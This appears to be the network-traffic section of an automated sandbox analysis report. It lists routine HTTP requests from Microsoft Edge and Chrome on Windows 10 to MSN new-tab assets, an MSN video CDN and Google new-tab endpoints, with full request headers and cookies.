Source: global traffic	HTTP traffic detected: GET /1d6b80ab-342d-4031-8b17-fa7a415a779b/185e9ae8-e7e7-42c3-a20e-948d9a41b4bf.mp4 HTTP/1.1Host: prod-streaming-video-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoReferer: https://ntp.msn.com/Accept-Language: en-GB,en;q=0.9,en-US;q=0.8Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/shopping-notification.ee3fd8838e9012979570.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=09C025F5A71D6FE2180F319FA60A6E8D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=8684241135348538038&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=9f1acaf966844b9dbc23515752f37c75 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/scroll-down-button.7d3c287bfff87e892176.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /service/news/feed/pages/ntp?User=m-09C025F5A71D6FE2180F319FA60A6E8D&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&adsTimeout=600&apikey=0QfOX3Vn51YCzitbLaRkTTBadtWpgTN8NZLW0C1SEM&audienceMode=adult&backgroundImageIsSet=false&cm=en-us&column=c3&cookieWallPresent=false&disablecontent=true&infopaneCount=17&it=app&memory=8&mobile=false&newsSkip=0&newsTop=48&ocid=anaheim-ntp-feeds&pgc=547&scn=APP_ANON&timeOut=1000&vpSize=1232x876&wposchema=byregion HTTP/1.1Host: assets.msn.comConnection: keep-aliveads-referer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"OneSvc-Uni-Feat-Tun: EdgeInterestTier1Ids:null;LoginState:NA;Product:anaheim;PageName:default;PageType:dhp;OCID:msedgdhp;ViewPortWidth:1280;ViewPortHeight:984;sec-ch-ua-mobile: ?0taboola-sessionId: initUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/float-button-group-wc.1fbacdb76725a2a98312.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-others.d5ad841de853beaad9e8.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-windows-widget-shared.134e79ef7864b4274fec.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/channel-store.5b917fd7b882726d8e58.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /1d6b80ab-342d-4031-8b17-fa7a415a779b/185e9ae8-e7e7-42c3-a20e-948d9a41b4bf.mp4 HTTP/1.1Host: prod-streaming-video-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoReferer: https://ntp.msn.com/Accept-Language: en-GB,en;q=0.9,en-US;q=0.8Range: bytes=753664-763446If-Range: "0x8DAB04A5AB12E2A"
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/edge-shopping.5219588f718ef6f70a47.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/common/icons/EditImageWhite.svg HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/common/icons/PlayWhite.svg HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/background-gallery.b1efaf97a3eef2197024.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/common/icons/ZoomWhite.svg HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_channel-page-utils_dist_UrlUtilities_js-libs_feed-layout_dist_Utils_js-libs_river-data-t-5c6710.8c7d0e28efea755d336f.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /1d6b80ab-342d-4031-8b17-fa7a415a779b/185e9ae8-e7e7-42c3-a20e-948d9a41b4bf.mp4 HTTP/1.1Host: prod-streaming-video-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoReferer: https://ntp.msn.com/Accept-Language: en-GB,en;q=0.9,en-US;q=0.8Range: bytes=50176-753663If-Range: "0x8DAB04A5AB12E2A"
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_channel-page-utils_dist_UrlUtilities_js-libs_core_dist_interaction-tracker_MouseTracker_-01b350.30b0d21807d12cd8d7d2.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/cs-core-desktop_responsive-card_dist_index_js-libs_feed-layout_dist_Utils_js-libs_views-helpe-3fb136.ea4d6e1aa2bd59998ad3.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/card-actions-wc.8a1bb7315d1f3ad1dac6.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/node_modules_sortablejs_modular_sortable_esm_js.6985524dca6d732452d7.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/diagnostic-web-vitals.c6eb8c640456acb68b9c.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/ocvFeedback.2a930d83a1ebb2ea4b2d.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.75/asset?sv=2017-07-29&sr=c&sig=R83mlHRCqeHRG9T0loza5cz3U8zjuZzQy2wVvoSHGHw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-06-30T00%3A00%3A00Z&sp=r&assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/conditionalBannerWC.6d8019b2ba4ee047b8c5.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-settings-edgenext.36872f7c5ce57a5d9c49.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/codex-bing-chat.d4705abeab944b647de2.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/super-coach-mark-wc.5ad8de935d24e6052658.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/waffle-wc.74c10742f08f983c2805.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-segments.11aff16404408a58d3d2.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/cs-core-desktop_card-components_dist_card-banner_index_js-cs-core-desktop_card-components_dis-cef191.888669d9cc0659b01a27.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_core_dist_interaction-tracker_MouseTracker_js-libs_weather-shared-wc_dist_utilities_entr-072035.11606a415b7b5f44447f.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
